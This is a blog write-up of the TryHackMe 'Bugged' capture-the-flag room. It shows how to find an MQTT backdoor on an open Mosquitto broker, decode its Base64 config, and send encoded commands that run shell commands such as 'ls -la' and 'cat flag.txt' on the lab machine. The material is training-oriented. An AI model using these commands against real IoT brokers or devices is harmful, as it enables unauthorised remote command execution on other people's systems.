> ## Content Index
> Fetch the complete content index at: https://taiwanding.com/llms.txt
> Use this file to discover other available public pages before exploring further.

# TryHackMe Bugged Writeup: Exploiting an MQTT IoT Backdoor
- URL: https://taiwanding.com/en/tryhackme-bugged-writeup/
- Published: 2025-10-24T09:46:10.000Z
- Updated: 2026-07-15T02:50:03.000Z
- Author: Kevin Chen
- Tags: #en, #en-ctf

## Challenge Info

- Platform: TryHackMe
- Room name: Bugged
- Difficulty: Easy
- Goal: Exploit an IoT backdoor over the MQTT protocol and grab the flag
- Link: [https://tryhackme.com/room/bugged](https://tryhackme.com/room/bugged?ref=taiwanding.com)

### Step 1: Recon and Scanning

Installing RustScan  
I went with rustscan here because IoT devices may listen on non-standard ports, so I like to make full-port scanning a habit, and rustscan happens to be great at exactly that.

```bash
# Install the Rust toolchain
curl --proto '=https' --tlsv1.2 -sSf https://sh.rustup.rs | sh
source $HOME/.cargo/env

# Install RustScan
cargo install rustscan

```

### Running the port scan

```bash
rustscan -a 10.201.108.223 -b 2000 -t 2000 -- -A -sV -sC

```

### Scan results

```
PORT     STATE SERVICE                  VERSION
22/tcp   open  ssh                      OpenSSH 8.2p1 Ubuntu 4ubuntu0.13
1883/tcp open  mosquitto version 2.0.14

Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

```

**Key findings:**

- Port 22: SSH service
- Port 1883: MQTT Broker (Mosquitto 2.0.14) ⭐

### Step 2: MQTT Information Gathering

Install the MQTT client tools

```bash
sudo apt install mosquitto-clients -y

```

Subscribe to all topics

```bash
mosquitto_sub -h 10.201.108.223 -t '#' -v

```

The normal IoT device topics I observed

```
patio/lights {"id":197558290292873002,"color":"GREEN","status":"OFF"}
storage/thermostat {"id":8177670935004820609,"temperature":23.712273}
livingroom/speaker {"id":14459096491979085303,"gain":41}
kitchen/toaster {"id":9135607054993651940,"in_use":false,"temperature":150.39072}
frontdeck/camera {"id":4606567988321021231,"yaxis":-47.708282,"xaxis":126.773254}

```

🚨 A suspicious topic turns up

```
yR3gPp0r8Y/AGlaMxmHJe/qV66JF5qmH/config eyJpZCI6ImNkZDFiMWMwLTFjNDAtNGIwZi04ZTIyLTYxYjM1NzU0OGI3ZCIsInJlZ2lzdGVyZWRfY29tbWFuZHMiOlsiSEVMUCIsIkNNRCIsIlNZUyJdLCJwdWJfdG9waWMiOiJVNHZ5cU5sUXRmLzB2b3ptYVp5TFQvMTVIOVRGNkNIZy9wdWIiLCJzdWJfdG9waWMiOiJYRDJyZlI5QmV6L0dxTXBSU0VvYmgvVHZMUWVoTWcwRS9zdWIifQ==

```

**What stands out:**

1. The topic name is a random string (unlike the readable names of the other IoT devices)
2. The payload looks like it might be Base64-encoded
3. The topic name contains the keyword "config"

### Step 3: Decode the Backdoor Config

Decode the Base64

```bash
echo "eyJpZCI6ImNkZDFiMWMwLTFjNDAtNGIwZi04ZTIyLTYxYjM1NzU0OGI3ZCIsInJlZ2lzdGVyZWRfY29tbWFuZHMiOlsiSEVMUCIsIkNNRCIsIlNZUyJdLCJwdWJfdG9waWMiOiJVNHZ5cU5sUXRmLzB2b3ptYVp5TFQvMTVIOVRGNkNIZy9wdWIiLCJzdWJfdG9waWMiOiJYRDJyZlI5QmV6L0dxTXBSU0VvYmgvVHZMUWVoTWcwRS9zdWIifQ==" | base64 -d

```

The decoded result

```json
{
  "id": "cdd1b1c0-1c40-4b0f-8e22-61b357548b7d",
  "registered_commands": ["HELP","CMD","SYS"],
  "pub_topic": "U4vyqNlQtf/0vozmaZyLT/15H9TF6CHg/pub",
  "sub_topic": "XD2rfR9Bez/GqMpRSEobh/TvLQehMg0E/sub"
}

```

**Analyzing the backdoor config:**

- **id**: the backdoor's unique identifier
- **registered\_commands**: three supported commands (HELP, CMD, SYS)
- **pub\_topic**: the topic the backdoor publishes its responses to
- **sub\_topic**: the topic the backdoor receives commands on

### Step 4: Understanding the MQTT Pub/Sub Model

⚠️ Key concept (easy to get backwards)  
From **the backdoor program's point of view**:

- `pub_topic` \= where the backdoor publishes its responses
- `sub_topic` \= where the backdoor subscribes for commands

From **the attacker's point of view** (the opposite):

- `pub_topic` \= what we **subscribe** to in order to receive responses
- `sub_topic` \= where we **send** commands

### The correct way to communicate

You need two terminals!

```
Attacker terminal 1: subscribe to pub_topic to receive responses
    ↓
mosquitto_sub -t 'U4vyqNlQtf/0vozmaZyLT/15H9TF6CHg/pub'

Attacker terminal 2: send commands to sub_topic
    ↓
mosquitto_pub -t 'XD2rfR9Bez/GqMpRSEobh/TvLQehMg0E/sub' -m '<base64_command>'

```

### Step 5: Interacting with the Backdoor

Open two terminals

**Terminal 1 - listen for responses:**

```bash
mosquitto_sub -h 10.201.108.223 -t 'U4vyqNlQtf/0vozmaZyLT/15H9TF6CHg/pub' -v

```

**Terminal 2 - send the HELP command:**

```bash
# Build the JSON for the HELP command
echo -n '{"id":"cdd1b1c0-1c40-4b0f-8e22-61b357548b7d","cmd":"HELP"}' | base64

# Output: eyJpZCI6ImNkZDFiMWMwLTFjNDAtNGIwZi04ZTIyLTYxYjM1NzU0OGI3ZCIsImNtZCI6IkhFTFAifQ==

# Send the command
mosquitto_pub -h 10.201.108.223 -t 'XD2rfR9Bez/GqMpRSEobh/TvLQehMg0E/sub' -m 'eyJpZCI6ImNkZDFiMWMwLTFjNDAtNGIwZi04ZTIyLTYxYjM1NzU0OGI3ZCIsImNtZCI6IkhFTFAifQ=='

```

The response received on terminal 1

```
U4vyqNlQtf/0vozmaZyLT/15H9TF6CHg/pub eyJpZCI6ImNkZDFiMWMwLTFjNDAtNGIwZi04ZTIyLTYxYjM1NzU0OGI3ZCIsInJlc3BvbnNlIjoiTWVzc2FnZSBmb3JtYXQ6XG4gICAgQmFzZTY0KHtcbiAgICAgICAgXCJpZFwiOiBcIjxCYWNrZG9vciBJRD5cIixcbiAgICAgICAgXCJjbWRcIjogXCI8Q29tbWFuZD5cIixcbiAgICAgICAgXCJhcmdcIjogXCI8YXJnPlwiLFxuICAgIH0pXG5cbkNvbW1hbmRzOlxuICAgIEhFTFA6IERpc3BsYXkgaGVscCBtZXNzYWdlICh0YWtlcyBubyBhcmcpXG4gICAgQ01EOiBSdW4gYSBzaGVsbCBjb21tYW5kXG4gICAgU1lTOiBSZXR1cm4gc3lzdGVtIGluZm9ybWF0aW9uICh0YWtlcyBubyBhcmcpXG4ifQ==

```

Decode the HELP response

```bash
echo "eyJpZCI6ImNkZDFiMWMwLTFjNDAtNGIwZi04ZTIyLTYxYjM1NzU0OGI3ZCIsInJlc3BvbnNlIjoiTWVzc2FnZSBmb3JtYXQ6XG4gICAgQmFzZTY0KHtcbiAgICAgICAgXCJpZFwiOiBcIjxCYWNrZG9vciBJRD5cIixcbiAgICAgICAgXCJjbWRcIjogXCI8Q29tbWFuZD5cIixcbiAgICAgICAgXCJhcmdcIjogXCI8YXJnPlwiLFxuICAgIH0pXG5cbkNvbW1hbmRzOlxuICAgIEhFTFA6IERpc3BsYXkgaGVscCBtZXNzYWdlICh0YWtlcyBubyBhcmcpXG4gICAgQ01EOiBSdW4gYSBzaGVsbCBjb21tYW5kXG4gICAgU1lTOiBSZXR1cm4gc3lzdGVtIGluZm9ybWF0aW9uICh0YWtlcyBubyBhcmcpXG4ifQ==" | base64 -d | jq

```

The HELP message contents

```json
{
  "id": "cdd1b1c0-1c40-4b0f-8e22-61b357548b7d",
  "response": "Message format:\n    Base64({\n        \"id\": \"<Backdoor ID>\",\n        \"cmd\": \"<Command>\",\n        \"arg\": \"<arg>\",\n    })\n\nCommands:\n    HELP: Display help message (takes no arg)\n    CMD: Run a shell command\n    SYS: Return system information (takes no arg)\n"
}

```

**Key takeaways:**

- The command format needs an `"arg"` field (not "command")
- The CMD command can run shell commands
- Everything has to be Base64-encoded

### Step 6: Running System Commands

List the files in the current directory

```bash
# Build the command
echo -n '{"id":"cdd1b1c0-1c40-4b0f-8e22-61b357548b7d","cmd":"CMD","arg":"ls -la"}' | base64

# Output: eyJpZCI6ImNkZDFiMWMwLTFjNDAtNGIwZi04ZTIyLTYxYjM1NzU0OGI3ZCIsImNtZCI6IkNNRCIsImFyZyI6ImxzIC1sYSJ9

# Send the command
mosquitto_pub -h 10.201.108.223 -t 'XD2rfR9Bez/GqMpRSEobh/TvLQehMg0E/sub' -m 'eyJpZCI6ImNkZDFiMWMwLTFjNDAtNGIwZi04ZTIyLTYxYjM1NzU0OGI3ZCIsImNtZCI6IkNNRCIsImFyZyI6ImxzIC1sYSJ9'

```

The response received (after decoding)

```json
{
  "id": "cdd1b1c0-1c40-4b0f-8e22-61b357548b7d",
  "response": "total 32\ndrwxr-xr-x 1 challenge challenge 4096 Mar 22  2022 .\ndrwxr-xr-x 1 root      root      4096 Mar 22  2022 ..\n-rw------- 1 challenge challenge   28 Mar 22  2022 .bash_history\n-rw-r--r-- 1 challenge challenge  220 Aug  4  2021 .bash_logout\n-rw-r--r-- 1 challenge challenge 3526 Aug  4  2021 .bashrc\n-rw-r--r-- 1 challenge challenge  807 Aug  4  2021 .profile\n-rw-r--r-- 1 root      root        39 Mar 21  2022 flag.txt\n"
}

```

**🚩 Found flag.txt!**

### Step 7: Read the Flag

Run a cat command

```bash
# Build the read command
echo -n '{"id":"cdd1b1c0-1c40-4b0f-8e22-61b357548b7d","cmd":"CMD","arg":"cat flag.txt"}' | base64

# Output: eyJpZCI6ImNkZDFiMWMwLTFjNDAtNGIwZi04ZTIyLTYxYjM1NzU0OGI3ZCIsImNtZCI6IkNNRCIsImFyZyI6ImNhdCBmbGFnLnR4dCJ9

# Send the command
mosquitto_pub -h 10.201.108.223 -t 'XD2rfR9Bez/GqMpRSEobh/TvLQehMg0E/sub' -m 'eyJpZCI6ImNkZDFiMWMwLTFjNDAtNGIwZi04ZTIyLTYxYjM1NzU0OGI3ZCIsImNtZCI6IkNNRCIsImFyZyI6ImNhdCBmbGFnLnR4dCJ9'

```

The final response (after decoding)

```json
{
  "id": "cdd1b1c0-1c40-4b0f-8e22-61b357548b7d",
  "response": "flag{Redacted}\n"
}

```

## Technical Recap

### 1\. MQTT basics

```
MQTT = Message Queuing Telemetry Transport
- A lightweight pub/sub messaging protocol
- Designed specifically for IoT devices
- Default ports: 1883 (plaintext), 8883 (TLS)

```

### 2\. Mosquitto client tools

```bash
# Subscribe to a topic
mosquitto_sub -h <host> -t '<topic>' -v

# Subscribe to all topics
mosquitto_sub -h <host> -t '#' -v

# Publish a message
mosquitto_pub -h <host> -t '<topic>' -m '<message>'

```

### 3\. Getting the pub/sub perspective right

```
Naming from the server's point of view:
pub_topic → where the server publishes → the client subscribes
sub_topic → where the server subscribes → the client publishes

Attacker operations:
Subscribe to pub_topic (receive responses)
Publish to sub_topic (send commands)

```

## Lessons Learned

At first I subscribed to the wrong topic, so after sending commands I never got anything back. Once I swapped them around, it worked!

```
❌ Subscribe to sub_topic and wait for a response → nothing comes back
✅ Subscribe to pub_topic to receive responses

```

One more tip: if you have no idea how to use something at first, always check HELP first to figure out how this MQTT interaction works. That's exactly why Step 5 goes straight to HELP.